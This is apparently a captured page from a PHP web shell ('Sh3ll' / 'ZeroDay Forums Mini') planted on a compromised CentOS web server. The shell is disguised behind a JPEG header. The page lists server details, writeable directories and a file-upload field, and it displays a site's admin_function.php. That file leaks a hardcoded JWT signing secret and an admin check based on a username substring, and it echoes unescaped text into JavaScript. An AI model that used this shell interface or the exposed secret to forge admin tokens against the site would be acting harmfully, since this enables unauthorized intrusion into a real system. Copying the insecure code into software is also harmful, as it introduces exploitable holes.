ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/luckymerchan/include/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/luckymerchan/include/functions/admin_function.php
<?php
function is_admin(){
    $ob_user =  new stdClass();
    if(isset($_SESSION['local_token']) and $_SESSION['local_token']!=''){
        $ob_user = JWT::decode($_SESSION['local_token'], 'NHG#789-2017', array('HS256'));
        if(isset($ob_user->user_name) && (strpos($ob_user->user_name,"giacbn")!==false)){
            return true;
        }
    }
    return false;
}
function make_order_num(){
    return date("Ymdhis").strtoupper(substr(uniqid(sha1(microtime())),0,9));
}
function close_popup($text=''){
    echo "<!DOCTYPE html><html lang=\"en\"><head><title>Close</title></head><body><script>
            alert('".$text."');
            window.close();
            window.opener.location.reload();
        </script></body></html>";
    exit();
}
function close_popup_redirect($text='',$url=''){
    echo "<!DOCTYPE html><html lang=\"en\"><head><title>Close</title></head><body><script>
            alert('".$text."');
            window.close();
            window.opener.document.location.href = '".$url."';
        </script></body></html>";
    exit();
}
function doFlush()
{
    if (!headers_sent()) {
        // Disable gzip in PHP.
        ini_set('zlib.output_compression', 0);
        // Force disable compression in a header.
        // Required for flush in some cases (Apache + mod_proxy, nginx, php-fpm).
        header('Content-Encoding: none');
    }
    // Fill-up 4 kB buffer (should be enough in most cases).
    echo str_pad('', 4 * 1024);
    // Flush all buffers.
    do {
        $flushed = @ob_end_flush();
    } while ($flushed);

    @ob_flush();
    flush();
    //use it:
    /*ob_start();
    $i = 0;
    while ($i++ < 10) {
        usleep(500000);
        echo 'a'.$i . "\n<br>";
        //sleep(1);
        doFlush();
    }*/
}
function check_date_input($date){
    list($dd,$mm,$yyyy) = explode('-',$date);
    if (!checkdate($mm,$dd,$yyyy)) {
        return false;
    }
    return true;
}
function array_dups($arr){
    $dups = array();
    foreach(array_count_values($arr) as $val => $c){
        if($c > 1){ $dups[] = $val;}
    }
    return $dups;
}
?>

ZeroDay Forums Mini